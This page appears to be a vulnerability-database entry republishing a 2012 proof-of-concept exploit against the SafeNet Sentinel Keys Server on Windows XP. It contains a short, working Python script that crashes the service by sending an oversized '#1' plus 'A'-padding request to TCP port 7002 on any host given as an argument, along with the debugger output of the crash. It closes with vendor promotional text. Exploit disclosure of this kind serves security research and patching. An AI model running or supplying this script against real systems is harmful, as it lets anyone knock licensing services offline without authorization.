Lucene search
K

SafeNet Sentinel Keys Server Crash PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

SafeNet Sentinel Keys Server DoS PoC, SafeNet Sentinel Protection Installer v7.6.5 (sntlkeyssrvr.exe ver. 1.3.1.3), XP SP

Code

                                                # Exploit Title: SafeNet Sentinel Keys Server DoS 
# Date: 10 Sep 2012
# Exploit Author:  retset (https://twitter.com/ret5et)
# Vendor Homepage: http://www.safenet-inc.com/ 
# Version: Sentinel Protection Installer  v7.6.5 (sntlkeyssrvr.exe ver. 1.3.1.3)
# Download link: http://c3.safenet-inc.com/downloads/8/0/804F8C5F-F88F-4443-8871-2AD993DC33DB/Sentinel%20Protection%20Installer%207.6.5.exe
# Download link: http://www.safenet-inc.com/support-downloads/sentinel-drivers/ 
# Tested on: Xp Sp3

import socket
import sys

if len(sys.argv) < 2:
	print "usage: %s host"  % sys.argv[0]
	sys.exit(0)

host = sys.argv[1]
print host
req  = "#1"
req += 'A' *0x4093

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,7002))
s.send(req)
s.close()


"""
(5ec.6f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0045011c ecx=00000003 edx=00b6bf83 esi=00b70000 edi=0045011c
eip=0040f89b esp=00b65864 ebp=0000407d iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Common Files\SafeNet Sentinel\Sentinel Keys Server\sntlkeyssrvr.exe
sntlkeyssrvr+0xf89b:
0040f89b f3a6            repe cmps byte ptr [esi],byte ptr es:[edi]
"""

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation